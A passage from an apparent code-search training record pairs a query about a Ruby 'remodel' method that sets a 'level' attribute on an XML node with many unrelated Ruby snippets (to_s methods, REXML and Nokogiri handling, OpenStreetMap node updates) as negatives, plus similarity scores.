lines.join(\"\\n\")\n end", "def to_s\n [\n +\"#<#{self.class} endpoints=\",\n +endpoints_string,\n +\">\",\n ].join(\"\")\n end", "def to_s\n values.inspect\n end", "def to_s\n \"#{formatted_switches} #{description}\"\n end", "def to_s\n s = []\n @ini.each do |section, hash|\n s << \"[#{section}]\"\n hash.each { |param, val| s << \"#{param} #{@param} #{escape_value val}\" }\n s << ''\n end\n s.join(\"\\n\")\n end", "def to_s\n values.inspect\n end", "def to_s\n components = {}\n for element in elements.select\n if components.key?(representative(element))\n if representative(element) != element\n components[representative(element)] << element\n end\n else\n if representative(element) != element\n components[representative(element)] = [element]\n else\n components[representative(element)] = []\n end\n end\n end\n result = \"\"\n for rep in components.keys\n result << components[rep].reduce(prepare_for_save(rep)){ |total, element| total + ',' + prepare_for_save(element) } + \";\"\n end\n return result.chomp(\";\")\n end", "def strings\n @options[:strings].\n sort_by {|k, v| k}.\n map {|(k,v)| v.join(\"\")}.\n join(\"\")\n end", "def to_s\n @out.join\n end", "def inst_str(specimens)\r\n is = []\r\n v = {}\r\n v[\"unknown\"] = []\r\n specimens.each do |s|\r\n if !s.repository.blank? && !s.repository.coden.blank?\r\n if v[s.repository.coden].nil?\r\n v[s.repository.coden] = [s]\r\n else\r\n v[s.repository.coden] << s\r\n end\r\n else\r\n v[\"unknown\"] << s\r\n end\r\n end\r\n v.delete(\"unknown\") if v[\"unknown\"].size == 0 \r\n ls = []\r\n v.keys.each do |r|\r\n s = ''\r\n s += id_str(v[r])\r\n s += \" (#{r})\"\r\n ls << s\r\n end \r\n ls.join(\"; \")\r\n end", "def to_s\n\t\t\tstr = \"Hue Bridge: #{@addr}: #{@name} (#{@serial}) - #{@lights.length} lights\"\n\t\t\tstr << \" (#{registered? ? '' : 'un'}registered)\"\n\t\t\tstr\n\t\tend", "def inspect\n \"#{@id.inspect} (#{@devices.count} devices)\"\n end", "def to_s\n \"ManifestlyObservable(#{@known_events.map(&:inspect).join(', ')})\"\n end", "def to_s\n s = \"\"\n saved.each do |name, list|\n s << \"[#{name}]\\n\"\n list.each do |path, id|\n s << \"#{id} #{path}\\n\"\n end\n s << \"\\n\"\n end\n s\n end", "def to_s\n @paths\n end", "def to_s\n\t\tputs(\"States: #{@states}\")\n\t\tputs(\"Input Symbols: #{@input_symbols}\")\n\t\tputs(\"Output_symbols: #{@output_symbols}\")\n\t\tputs(\"Left Marker: #{@left_marker}\")\n\t\tputs(\"Blank Symbol: #{@blank_symbol}\")\n\t\tputs(\"Start State: #{@start_state}\")\n\t\tputs(\"Accept State: #{@accept_state}\")\n\t\tputs(\"Reject State: #{@reject_state}\")\n\t\tputs(\"Function Map: #{@function_map}\")\n\t\treturn \"\"\n\tend", "def to_s\n [\n (\"#{@protocol}://\" if @protocol),\n (\"#{@userinfo}@\" if @userinfo),\n @host,\n (\":#{@port}\" if @port),\n @registry,\n @path,\n (\"?#{@query}\" if @query),\n (\"##{@fragment}\" if @fragment)\n ].join\n end", "def discover_groups_string\n discover_groups.join(', ')\n end", "def to_s\n out = ''\n self.metadata.each{|k,v| out << \"#{k}: #{v}\\n\"}\n out << \"--------------------\\n\"\n self.steps.each{|s| out << s.to_s }\n out\n end", "def dump\n general_prefix.join(' ')\n end", "def to_s\n buf = []\n each { |part| buf << part }\n buf.join\n end", "def to_s\n result = []\n all_properties_hash.each do |k, v|\n result << \"#{k} = #{v}\"\n end\n result.join(\"; \")\n end", "def strings(report_keys)\n if report_keys and report_keys.respond_to?(:first) and report_keys.first.is_a?(ReportKey)\n report_keys.map{|r| r.code}\n else\n [\"\"]\n end\n end", "def output_port_names\n output_ports.keys\n end", "def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end", "def to_s\n to_data.map(&:to_s).join(\"\\n\")\n end" ]
[ "0.5404738", "0.5323262", "0.52991694", "0.5246874", "0.5230674", "0.5225777", "0.5210622", "0.51636946", "0.51473784", "0.511663", "0.5114243", "0.5110735", "0.5053343", "0.5040588", "0.5038903", "0.50256956", "0.50032705", "0.49998236", "0.4988689", "0.49810973", "0.4973306", "0.49665377", "0.49604252", "0.49528617", "0.49425256", "0.49142396", "0.49032888", "0.48971823", "0.48741615", "0.4867327", "0.48501685", "0.48487368", "0.48442256", "0.4834792", "0.4831438", "0.4824471", "0.4823711", "0.4820588", "0.4809156", "0.4807228", "0.48046035", "0.48043263", "0.47959572", "0.47959346", "0.47929937", "0.47929937", "0.47927228", "0.47922868", "0.4784971", "0.4783491", "0.4770667", "0.4763222", "0.47540918", "0.47518015", "0.47509888", "0.4749381", "0.47485042", "0.47473988", "0.47465608", "0.47397587", "0.47155362", "0.47133803", "0.4711659", "0.47095326", "0.47012356", "0.46988583", "0.4695152", "0.46910903", "0.4684338", "0.46767256", "0.46758258", "0.46741408", "0.46741408", "0.4665145", "0.46635902", "0.46618515", "0.4658537", "0.4657933", "0.46535844", "0.46484643", "0.46363083", "0.4634439", "0.4627265", "0.46266577", "0.46242982", "0.4623729", "0.46237218", "0.46217376", "0.46203673", "0.46193263", "0.46179777", "0.46138763", "0.46105522", "0.4609344", "0.46052474", "0.460241", "0.4601624", "0.46015662", "0.46008703", "0.46005866", "0.4598045" ]
0.0
-1
The remodel method takes an Xml object as parameter. Output is expected to be the same. Modify the node in place. is preferred. An "information" hash is also passed in.
def remodel( node, info={} ) level = info[:count] || 1 node.attributes['level'] = level node end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rexml!\n @@parser = USE_REXML\n end", "def node_to_model(node)\n\t\tlog(\"node_to_model #{node.class}\")\n\t\tinstance = @factory.instantiate_transformed(node)\n\t\tmetaclass = instance.class\n\t\tmetaclass.ecore.eAllAttributes.each do |attr|\n\t\t\tpopulate_attr(node,attr,instance)\n\t\tend\n\t\tmetaclass.ecore.eAllReferences.each do |ref|\n\t\t\tpopulate_ref(node,ref,instance)\n\t\tend\n\t\tinstance\n\tend", "def xml=(value)\n @model, @extracted_value = nil, nil\n @xml = value.kind_of?(REXML::Document) ? value.root : value\n attach_xml\n @xml\n end", "def edit_with_rexml\n require 'rexml/document'\n doc = REXML::Document.new(read)\n yield doc if block_given?\n self.content = doc.to_s\n save\n end", "def invoke_rexml\n @xdoc = nil\n @helper = RexmlHelper.new\n end", "def to_xml\n output=\"\"\n self.to_rexml.write output\n end", "def update_tree(element); end", "def with_model\n with_element do |model_name, _model_attributes|\n model = MODELS[model_name]\n if model.nil?\n raise OSM::APIBadUserInput, \"Unexpected element type #{model_name}, \" \\\n \"expected node, way or relation.\"\n end\n # new in libxml-ruby >= 2, expand returns an element not associated\n # with a document. this means that there's no encoding parameter,\n # which means basically nothing works.\n expanded = @reader.expand\n\n # create a new, empty document to hold this expanded node\n new_node = @doc.import(expanded)\n @doc.root << new_node\n\n yield model, new_node\n @reader.next\n\n # remove element from doc - it will be garbage collected and the\n # rest of the document is re-used in the next iteration.\n @doc.root.child.remove!\n end\n end", "def rexmlify(data)\n\t\tdoc = data.kind_of?(REXML::Document) ? data : REXML::Document.new(data)\n\tend", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def model=(value)\n @xml, @extracted_value = nil, nil\n @model = value\n attach_model\n @model\n end", "def to_rexml\n REXML::Document.new(to_s)\n end", "def model\n node_value = at_node(doc)\n lookup_model(node_value)\n end", "def rexml? ; false end", "def to_xml_change\n doc = Nokogiri::XML::Document.new\n root = doc.create_element(\"#{identifier.tag_name.gsub(/Id$/, '')}Change\")\n root << identifier.to_xml\n root << to_xml_updates\n root\n end", "def netdev_resxml_edit( xml ) \n return xml\n end", "def update(node); end", "def from_node(original_node); end", "def process_entry(entry)\n doc = Nokogiri::XML(entry)\n yield doc\n entry.replace(doc.to_xml(save_with: Nokogiri::XML::Node::SaveOptions::AS_XML))\n end", "def storeRecord\n @doc[:xml_display] = @xml.to_xml\n end", "def storeRecord\n @doc[:xml_display] = @xml.to_xml\n end", "def xml_to_instance\r\n ATTRIBUTES_MAP.each do |name, hash| \r\n elem = @xml.root.elements[hash[\"element\"]]\r\n unless elem.nil?\r\n val = (hash.has_key?(\"attribute\") ? elem.attributes[hash[\"attribute\"]] : elem.text)\r\n val = self.send(hash[\"from_xml\"], val) if hash.has_key?(\"from_xml\")\r\n self.send(name+\"=\", val)\r\n end\r\n end\r\n self.status = :old\r\n\r\n @xml.root.elements.each(\"link\") do |link|\r\n @feed = link.attributes[\"href\"] if link.attributes[\"rel\"] == \"edit\"\r\n end\r\n end", "def normalize!\n doc = xmldoc\n nodes doc.xpath(ITEMS_XPATH) do |node|\n content_node = node.xpath(ITEM_FILE_XPATH).first\n src = content_node.attributes['src'].to_s\n\n src = URI(src)\n item = get_item(src.to_s)\n\n filepath = URI(item.normalized_hashed_path(:relative_to => self))\n if src.fragment\n filepath.fragment = src.fragment\n end\n\n content_node['src'] = filepath.to_s\n end\n\n\n root = read_xml\n\n # Replace the node, bit messy\n node = root.xpath(ROOT_XPATH).first\n doc_partial = Nokogiri::XML(doc.to_s)\n node.replace(doc_partial.root)\n\n # Write it back\n data = root.to_s\n write(data)\n end", "def xml_change_description( xml )\r\n unit = xml.parent.xpath('ancestor::unit')[0]\r\n Nokogiri::XML::Builder.with( unit ){ |x| \r\n xml_set_or_delete( x, 'description', @should[:description] )\r\n }\r\n end", "def process_xml(xml)\n doc = REXML::Document.new xml\n @message_identifier = doc.text(\"//imsx_POXRequestHeaderInfo/imsx_messageIdentifier\")\n @lis_result_sourcedid = doc.text(\"//resultRecord/sourcedGUID/sourcedId\")\n\n if REXML::XPath.first(doc, \"//deleteResultRequest\")\n @operation = DELETE_REQUEST\n elsif REXML::XPath.first(doc, \"//readResultRequest\")\n @operation = READ_REQUEST\n elsif REXML::XPath.first(doc, \"//replaceResultRequest\")\n @operation = REPLACE_REQUEST\n @score = doc.get_text(\"//resultRecord/result/resultScore/textString\")\n end\n extention_process_xml(doc)\n end", "def transform(xml)\n xml = xml.root if xml.is_a? Nokogiri::XML::Document\n xml = Nokogiri::XML(xml, nil, nil, Nokogiri::XML::ParseOptions.new).root unless xml.is_a? Nokogiri::XML::Node\n @document = xml.document\n generate_element(xml)\n end", "def to_rexml\n node = REXML::Element.new(xml_tagname)\n\n node.add_namespace(self.class.namespace) if self.class.namespace\n\n self.class.attributes.each do |atr|\n val = instance_variable_get(\"@_#{atr}\")\n next unless val\n node.add_attribute(val.to_rexml)\n end\n\n xml_schema_elements.each do |name, kind, opts|\n obj = send(name)\n next unless obj\n case obj\n when Array\n obj.each do |v|\n if v.is_a? Tag\n node.add_element(v.to_rexml) #(xml_namespace)\n else\n node.add_element(REXML::Element.new(name, v.to_s))\n end\n end\n else\n if obj.is_a? Tag\n node.add_element(obj.to_rexml) #(xml_namespace)\n else\n node.add_element(REXML::Element.new(name, obj.to_s))\n end\n end\n end\n\n #if @__text\n # node.add_text(@__text.to_rexml)\n #end\n node\n end", "def edit_with_nokogiri\n doc = Nokogiri.XML(read)\n yield doc if block_given?\n self.content = doc.to_xml\n save\n end", "def update\n @retain_node = RetainNode.find(params[:id])\n\n respond_to do |format|\n if @retain_node.update_attributes(params[:retain_node])\n flash[:notice] = 'RetainNode was successfully updated.'\n format.html { redirect_to(@retain_node) }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @retain_node.errors, :status => :unprocessable_entity }\n format.json { render :json => @retain_node.errors, :status => :unprocessable_entity }\n end\n end\n end", "def to_xml(xml)\n xml.member(:type => type, :ref => ref, :role => role)\n end", "def transform (xmlIn,xmlOut)\r\n begin\r\n now = Time.now\r\n self.basic_transform xmlIn,xmlOut\r\n puts \"#{self.class} - [#{xmlIn}] -> [#{xmlOut}] : #{Time.now - now} ms\"\r\n rescue\r\n puts \"#{self.class} - ERROR: Unable to transform [#{xmlIn}] into [#{xmlOut}] because: #{$!}\"\r\n end\r\n end", "def xml!; @xml = true; end", "def update\n @xml_sample = XmlSample.find(params[:id])\n \n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.update_attributes(params[:xml_sample])\n if @xml_sample.save\n return redirect_to @xml_sample, notice: 'Xml sample was successfully updated.'\n else\n return render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n if @xml_sample.update_attributes(attr[\"xmlsample\"])\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end", "def xml_attr_rewrite(xml, name, value)\n xml.find(\"//osm/node\").first[name] = value.to_s\n xml\n end", "def xml; end", "def process_xml(xml)\n doc = REXML::Document.new xml\n @message_identifier = doc.text(\"//imsx_statusInfo/imsx_messageIdentifier\").to_s\n @code_major = doc.text(\"//imsx_statusInfo/imsx_codeMajor\")\n @code_major.downcase! if @code_major\n @severity = doc.text(\"//imsx_statusInfo/imsx_severity\")\n @severity.downcase! if @severity\n @description = doc.text(\"//imsx_statusInfo/imsx_description\")\n @description = @description.to_s if @description\n @message_ref_identifier = doc.text(\"//imsx_statusInfo/imsx_messageRefIdentifier\")\n @operation = doc.text(\"//imsx_statusInfo/imsx_operationRefIdentifier\")\n @score = doc.text(\"//readResultResponse//resultScore/textString\")\n @score = @score.to_s if @score\n end", "def to_xml\n find_correct_build.to_xml\n end", "def netdev_resxml_new( edit_xml )\n self.properties.each do |p| \n self.send(\"xml_change_#{p}\", edit_xml ) \n end\n end", "def to_xml(xml)\n xml.Override(self.instance_values)\n end", "def apply_xml(n)\n\t\tsuper(n)\n\n\t\t#First, set project\n\t\tp = n.at_xpath(\"xmlns:project\")\n\t\t# We're not always going to have a project! And this *doesn't* mean that this project is demoted\n\t\tif p\n\t\t\tconditional_set(:singleton, \t\t\tp.at_xpath(\"xmlns:singleton\"))\t\t\t\t\t{ |e| e.inner_html == \"true\" }\n\t\t\tconditional_set(:review_interval, p.at_xpath(\"xmlns:review-interval\") ) \t{ |e| Rubyfocus::ReviewPeriod.from_string(e.inner_html) }\n\t\t\tconditional_set(:last_review, \t\tp.at_xpath(\"xmlns:last-review\"))\t\t\t\t{ |e| Time.safely_parse e.inner_html }\n\t\t\tconditional_set(:status,\t\t\t\t\tp.at_xpath(\"xmlns:status\"))\t\t\t\t\t\t\t{ |e| e.inner_html.to_sym }\t\t\t\t\t\t\t\n\t\tend\n\tend", "def from_xml(xml)\n\t\tend", "def save_model file\n doc = Document.new\n doc << XMLDecl.new\n\n model_element = Element.new \"model\"\n doc << model_element\n entities_element = Element.new \"entities\"\n model_element << entities_element\n connections_element = Element.new \"connections\"\n model_element << connections_element\n\n @entities.each do |e|\n entity_element = Element.new \"entity\"\n el = Element.new \"id\"\n el.text = e.id\n entity_element << el\n\n el = Element.new \"name\"\n el.text = e.name\n entity_element << el\n\n el = Element.new \"type\"\n el.text = e.type\n entity_element << el\n\n el = Element.new \"definition\"\n el.text = e.definition\n entity_element << el\n\n el = Element.new \"x\"\n el.text = e.get_x\n entity_element << el\n\n el = Element.new \"y\"\n el.text = e.get_y\n entity_element << el\n\n entities_element << entity_element\n end\n\n @connections.each do |c|\n connection_element = Element.new \"connection\"\n\n el = Element.new \"name\"\n el.text = c.name\n connection_element << el\n\n el = Element.new \"definition\"\n el.text = c.definition\n connection_element << el\n\n el = Element.new \"source-entity-id\"\n el.text = c.source_ep.entity_parent.id\n connection_element << el\n\n el = Element.new \"target-entity-id\"\n el.text = c.target_ep.entity_parent.id\n connection_element << el\n\n el = Element.new \"source-point-type\"\n el.text = c.source_ep.type\n connection_element << el\n\n el = Element.new \"target-point-type\"\n el.text = c.target_ep.type\n connection_element << el\n\n el = Element.new \"source-point-x\"\n el.text = c.source_ep.get_x\n connection_element << el\n\n el = Element.new \"source-point-y\"\n el.text = c.source_ep.get_y\n connection_element << el\n\n el = Element.new \"target-point-x\"\n el.text = c.target_ep.get_x\n connection_element << el\n\n el = Element.new \"target-point-y\"\n el.text = c.target_ep.get_y\n connection_element << el\n\n el = Element.new \"label-x\"\n el.text = c.label.get_x\n connection_element << el\n\n el = Element.new \"label-y\"\n el.text = c.label.get_y\n connection_element << el\n\n connections_element << connection_element\n end\n\n output_file = File.open file, 'w'\n formatter = Formatters::Pretty.new(2)\n formatter.compact = true\n formatter.write(doc, output_file)\n output_file.close\n\n end", "def additional_information_xml(xml)\n\n end", "def test_unflatten_perfind1\r\n pi = @mymodel.node_list.add_node(4, 'perfind4', PERFIND)\r\n pi.commentary='com'\r\n pi.description='dsc'\r\n pi.value_function=ValueFunction.new(10, 80, 'grams') \r\n pi.measure_to_evidence(80)\r\n \r\n data = pi.flatten_data\r\n \r\n @mymodel.node_list.delete_node(pi)\r\n \r\n livenode = @mymodel.node_list.node_from_data(data)\r\n \r\n assert_equal(pi.ident, livenode.ident) \r\n assert_equal(pi.name, livenode.name) \r\n assert_equal(pi.node_type, livenode.node_type) \r\n assert_equal(pi.commentary, livenode.commentary) \r\n assert_equal(pi.description, livenode.description) \r\n assert_equal(pi.evidence, livenode.evidence) \r\n assert_equal(pi.value_function, livenode.value_function) \r\n end", "def to_rexml\n require 'rexml/document'\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n root_el=REXML::Element.new self.structure_node.node_name.to_s\n doc.add_element root_el\n mapping_hash={self => root_el}\n self.each_level do |level|\n level.sort! {|a, b| a.tokenstream <=> b.tokenstream}\n node_parent=level.first.parent # Parent will be the same for all on this level\n xml_parent = mapping_hash[node_parent]\n last_text_pos = node_parent.tokenstream.tokens.first.start_loc\n level.each do |node|\n xml_parent.add_text(node.parent.original_text[last_text_pos...node.tokenstream.tokens.first.start_loc])\n el = REXML::Element.new node.structure_node.node_name.to_s\n if node.children.empty?\n el.add_text node.to_s\n end\n mapping_hash[node.parent].add_element el\n mapping_hash[node]=el\n last_text_pos = node.tokenstream.tokens.last.end_loc\n end\n # Add any text at the end of the section of the document covered by this tree level\n pos_of_last_string=level.last.tokenstream.tokens.last.end_loc \n end_of_cur_level=node_parent.tokenstream.tokens.last.end_loc\n xml_parent.add_text(node_parent.original_text[pos_of_last_string..end_of_cur_level])\n end\n return doc\n end", "def update(type, *args)\n change_class = Duxml::const_get \"#{type.to_s}Class\".to_sym\n change_comp = change_class.new *args\n @nodes.unshift change_comp\n changed\n notify_observers(change_comp) unless change_comp.respond_to?(:error?)\n raise(Exception, change_comp.description) if strict? && type == :QualifyError\n end", "def prepare_final_xml\n @base_xml.elements[\"#{@ns}:OccupancyLevels/#{@ns}:OccupancyLevel/#{@ns}:OccupantQuantity\"].text = @occupant_quantity if !@occupant_quantity.nil?\n @base_xml.elements[\"#{@ns}:SpatialUnits/#{@ns}:SpatialUnit/#{@ns}:NumberOfUnits\"].text = @number_of_units if !@number_of_units.nil?\n\n # Add new element in the XML file\n add_user_defined_field_to_xml_file('OpenStudioModelName', @name)\n add_user_defined_field_to_xml_file('StandardTemplateYearOfConstruction', @built_year)\n add_user_defined_field_to_xml_file('StandardTemplate', @standard_template)\n add_user_defined_field_to_xml_file('BuildingRotation', @building_rotation)\n add_user_defined_field_to_xml_file('FloorHeight', @floor_height)\n add_user_defined_field_to_xml_file('WindowWallRatio', @wwr)\n add_user_defined_field_to_xml_file('PartyWallStoriesNorth', @party_wall_stories_north)\n add_user_defined_field_to_xml_file('PartyWallStoriesSouth', @party_wall_stories_south)\n add_user_defined_field_to_xml_file('PartyWallStoriesEast', @party_wall_stories_east)\n add_user_defined_field_to_xml_file('PartyWallStoriesWest', @party_wall_stories_west)\n add_user_defined_field_to_xml_file('Width', @width)\n add_user_defined_field_to_xml_file('Length', @length)\n add_user_defined_field_to_xml_file('PartyWallFraction', @party_wall_fraction)\n add_user_defined_field_to_xml_file('ModelNumberThermalZones', @model.getThermalZones.size)\n add_user_defined_field_to_xml_file('ModelNumberSpaces', @model.getSpaces.size)\n add_user_defined_field_to_xml_file('ModelNumberStories', @model.getBuildingStorys.size)\n add_user_defined_field_to_xml_file('ModelNumberPeople', @model.getBuilding.numberOfPeople)\n add_user_defined_field_to_xml_file('ModelFloorArea(m2)', @model.getBuilding.floorArea)\n\n wf = @model.weatherFile.get\n add_user_defined_field_to_xml_file('ModelWeatherFileName', wf.nameString)\n add_user_defined_field_to_xml_file('ModelWeatherFileDataSource', wf.dataSource)\n add_user_defined_field_to_xml_file('ModelWeatherFileCity', wf.city)\n add_user_defined_field_to_xml_file('ModelWeatherFileStateProvinceRegion', wf.stateProvinceRegion)\n add_user_defined_field_to_xml_file('ModelWeatherFileLatitude', wf.latitude)\n add_user_defined_field_to_xml_file('ModelWeatherFileLongitude', wf.longitude)\n prepare_final_xml_for_spatial_element\n end", "def modeler_description\n return 'This measure expects GbXMLReverseTranslator to already have been run on the model. This measure parses the XML and translates additional gbXML objects to OSM.'\n end", "def node_to_record(model, node)\n record = { }\n xpathmap = model.xpathmap rescue { }\n xmlnamespaces = model.xmlnamespaces rescue nil\n# STDERR.puts \"MODEL node_to_record(#{model.properties}<#{node.class}>)\"\n model.properties.each do |property|\n xpath = xpathmap[property.name] || property.name\n# STDERR.puts \"PROPERTY node_to_record property(#{property.inspect})\"\n\tkey = property.name.to_s\n\tif key == \"raw\"\n\t record[key] = node.to_s\n\t next\n\tend\n\tchildren = node.xpath(\"./#{xpath}\", xmlnamespaces)\t\n#\tSTDERR.puts \"Property found: #{property.inspect} at #{xpath} with #{children.size} children\"\n\tcase children.size\n\twhen 0\n next\n\twhen 1\n\t value = children.text.strip\n#\t STDERR.puts \"done: #{value.inspect}\" if xpath =~ /done/\n\t value = children.to_xml if value.empty?\n\telse\n\t value = children.to_xml\n\tend\n#\tSTDERR.puts \"Key #{key}, Value #{value.inspect} <#{property.class}>\"\n\tcase property\n\twhen DataMapper::Property::Date\n\t require 'parsedate'\n\t record[key] = Time.utc(ParseDate.parsedate(value))\n\twhen DataMapper::Property::Integer\n\t record[key] = value.to_s\n\twhen DataMapper::Property::String\n\t record[key] = value.to_s\n\twhen DataMapper::Property::Boolean\n\t record[key] = !value.nil?\n\twhen DataMapper::Property::Class\n# STDERR.puts \"Class property #{property.name.capitalize} value #{value.inspect}\"\n case property.name\n when :productline\n val = DataMapper.const_get(property.name.capitalize).new\n val.id = children.attribute(\"id\")\n val.name = value.to_s\n when :actors\n val = Array.new\n children.each do |node|\n actor = DataMapper.const_get(\"Actor\").new\n actor.role = node.xpath(\"./role\").text.to_s\n actor.userid = node.xpath(\"./person/userid\").text.to_s\n actor.email = node.xpath(\"./person/email\").text.to_s\n actor.fullname = node.xpath(\"./person/fullname\").text.to_s\n val << actor\n end\n when :productcontexts\n val = Array.new\n children.each do |node|\n context = DataMapper.const_get(\"Productcontext\").new\n context.id = node.xpath(\"./product/productid\").text.to_i\n context.name = node.xpath(\"./product/name\").text.to_s\n context.done = !node.xpath(\"./status/done\").empty?\n context.rejected = !node.xpath(\"./status/rejected\").empty?\n context.duplicate = !node.xpath(\"./status/duplicate\").empty?\n val << context\n end\n else\n raise TypeError, \"'class' property #{property} not implemented\"\n end\n\t record[key] = val\n\telse\n\t raise TypeError, \"#{property} unsupported\"\n\tend\n end\n record\n end", "def test_node_change_log1\r\n @mymodel = Model.new(1, \"rubylicious\") \r\n node_list = @mymodel.node_list\r\n\r\n node1 = node_list.add_node('autonum', 'node one', NODE);\r\n perfind2 = node_list.add_node('autonum', 'pi two', PERFIND); \r\n process3 = node_list.add_node('autonum', 'process three', PROCESS);\r\n process4 = node_list.add_node('autonum', 'process four', PROCESS); \r\n\r\n process3.evidence = [0.2, 0.3]\r\n process4.evidence = [0.54, 0.777]\r\n \r\n assert(@mymodel.consume_next_node_change.nil?)\r\n end", "def to_xml(b = Builder::XmlMarkup.new(:indent => 2))\n optional_root_tag(parent.class.optional_xml_root_name, b) do |c|\n c.tag!(model.class.xml_node_name || model.model_name) {\n attributes.each do | key, value |\n field = self.class.fields[key]\n value = self.send(key) if field[:calculated]\n xml_value_from_field(b, field, value) unless value.nil?\n end\n }\n end\n end", "def rexml_doc(obj)\n case obj\n when REXML::Document, REXML::Element\n obj\n else\n REXML::Document.new(obj)\n end\n end", "def update!(**args)\n @remodeling = args[:remodeling] if args.key?(:remodeling)\n end", "def copyElementWithReplacements(element, newElement)\n raise \"element is not an REXML::Element (#{element})\" unless element.is_a?(REXML::Element)\n raise \"newElement is not an REXML::Element (#{newElement})\"unless newElement.is_a?(REXML::Element)\n\n element.children.each() do |child|\n if (child.is_a?(REXML::Element)) then\n if (child.expanded_name == \"xi:xinclude\") then\n newChild = processInclude(child)\n else\n newChild = REXML::Element.new(child)\n copyElementWithReplacements(child,newChild)\n end\n newElement.add(newChild) \n elsif (child.is_a?(REXML::Text))\n newElement.add(REXML::Text.new(child))\n elsif (child.is_a?(REXML::Comment))\n newElement.add(REXML::Comment.new(child))\n end\n #puts \"==\" + child.to_s() + \"==\"\n end\n end", "def update\n\n if InfoNode.duplicate_key?(params[:info_types])\n redirect_to :back, :alert => \"Key in the additional information shoud be unique\"\n return\n end\n\n @relation = Node.find(params[:id])\n @collection = current_user.collections.find(params[:collection_id])\n if @relation.nil? || @collection.nil? || @relation.document.collection.id != @collection.id\n redirect_to :back, :alert => \"Cannot find an relation\"\n return\n end \n\n @document = @relation.document\n @collection = @document.collection\n\n unless params[:rid].nil?\n @rid = params[:rid].strip\n end\n\n @rid = @document.create_new_relation_id if @rid.blank?\n @relation.entity_type = params[:type] \n @refs = []\n\n params[:refids].each_with_index do |ref_id, idx|\n @refs << {:ref_id => ref_id, :role => params[:labels][idx]}\n end unless params[:refids].nil?\n\n if @refs.empty?\n redirect_to :back, :alert => \"Please add references for a new relation\"\n return\n end\n \n @relation.update_references(@refs)\n\n keyset = []\n (0...params[:info_types].size).each do |i|\n key = params[:info_types][i]\n value = params[:info_values][i]\n if !key.nil? && !key.strip.blank? && !value.nil? && !value.strip.blank?\n keyset << key\n @relation.set_info_node(key, value)\n end\n end\n\n @relation.remove_info_node_except(keyset)\n\n\n respond_to do |format|\n if @relation.save\n format.html { redirect_to \"/collections/#{@collection.id}/documents/#{@document.pmid}?tab=relation\", notice: 'Relation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, :alert => \"Cannot update relation: #{@relation.errors.full_messages}\" }\n format.json { render json: @relation.errors, status: :unprocessable_entity }\n end\n end\n\n \n end", "def xml=(klass); end", "def replaceValue(xml, nodeName, toReplaceWith)\n\n puts \"\\n\\n--_________-----------______________________\\n#{xml}\"\n if( xml[\"nodeName\"] == nodeName )\n xml[\"nodeValue\"] = toReplaceWith\n end\n\n attribs = xml[\"nodeAttributes\"]\n size = xml[\"childCount\"].to_i\n for j in 0..size\n\n values = xml[j]\n if values != nil\n if values[\"nodeName\"] == nodeName\n\n # if(values.get(\"0\") == null)\n # {\n \t # System.out.println(\"Adding val\");\n # Hashtable childMe = new Hashtable(); //Create a new Hashtable this represents the Node\n # childMe.put(\"nodeName\",\"#text\"); //This is the Node Name ie(<nodeName></nodeName>)\n # childMe.put(\"nodeValue\",toReplaceWith); //This is the Node Value ie(<nodeName>NodeValue</nodeName>)\n # childMe.put(\"nodeAttributes\",new Hashtable()); //These are the Node attributesie(<nodeName nodeAttribute=\"value\"></nodeName>)\n # childMe.put(\"childCount\",new Integer(\"\"+0)); //Amount of children Nodes\n #\n # this.addNodeAtPos(values, childMe,nodeName);\n # }\n # else\n # {\n \t # System.out.println(\"Replacing val\");\n # Hashtable hmValue = (Hashtable)values.get(\"0\");\n # hmValue.put(\"nodeValue\",toReplaceWith);\n # }\n values[\"nodeValue\"] = toReplaceWith\n\n else\n\n count = values[\"childCount\"].to_i\n puts \"Count is #{count}\"\n if count > 0\n for k in 0..count\n replaceValue(values[k],nodeName,toReplaceWith)\n end\n end\n end\n end\n end\n end", "def update_changeset(xml, changeset_id)\n xml_attr_rewrite(xml, \"changeset\", changeset_id)\n end", "def write_model model_name, class_name\n puts model_name\n ret=\"\"\n model = Model.new(model_name,class_name) \n data_types= model.get_datatypes\n #build hash\n model.get_rows.each do |item|\n line = Hash.new\n subline = Hash.new\n #and now add all mapping-attributes\n remove =Array.new\n model.model_attributes.each do |k,v|\n # if k.to_s.include?(\"->\")\n if v.to_s.include?(\"*\") || v.to_s[0..9]==\"new_model(\"\n\n remove.push(k.to_s) unless remove.index(k.to_s)\n m_class,field=v.to_s.split(\"*\")\n ref_pred,ref_model=k.to_s.split\"->\"\n if v.to_s[0..5]==\"MODEL(\"\n m_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(m_class.to_s).get_rows\n else\n submodel= eval(\"item.#{m_class.to_s.downcase}\")\n end\n submodel.each do |subitem|\n subline[:id] = eval(\"item.#{model.get_key}\")\n subline[k] = eval(\"subitem.#{field}\")\n #extract_id_line(m.model_attributes, subline, subitem, Array.new)\n ret<<make_triples(subline, class_name, false,Array.new,false )\n subline.clear\n end\n else\n write_line = true;\n if v.to_s.include? \".\"\n write_line = nil unless eval(\"item.\"+v.to_s.downcase.split(\".\")[0])\n end\n begin\n if v.to_s[0..5]==\"CONST(\"\n line[k.to_s],data_types[k.to_s]= model.get_const(v)\n #datatype to uri format\n if data_types[k.to_s]==\"LINK\"\n line[k.to_s] =uri line[k.to_s]\n data_types.delete k.to_s\n @object_properties[k.to_s]=\"t\"\n else\n data_types[k.to_s] = uri(data_types[k.to_s])\n end\n else\n line[k.to_s]=eval(\"item.\"+v.to_s) if write_line\n end\n rescue Exception => ex\n line[k.to_s]=v.to_s if write_line\n end\n end\n # end\n end\n extract_id_line(model.model_attributes, line, item,data_types)\n remove.each { |rem_attrib| line.delete(rem_attrib) }\n #get triples of row\n ret<<make_triples(line, class_name , 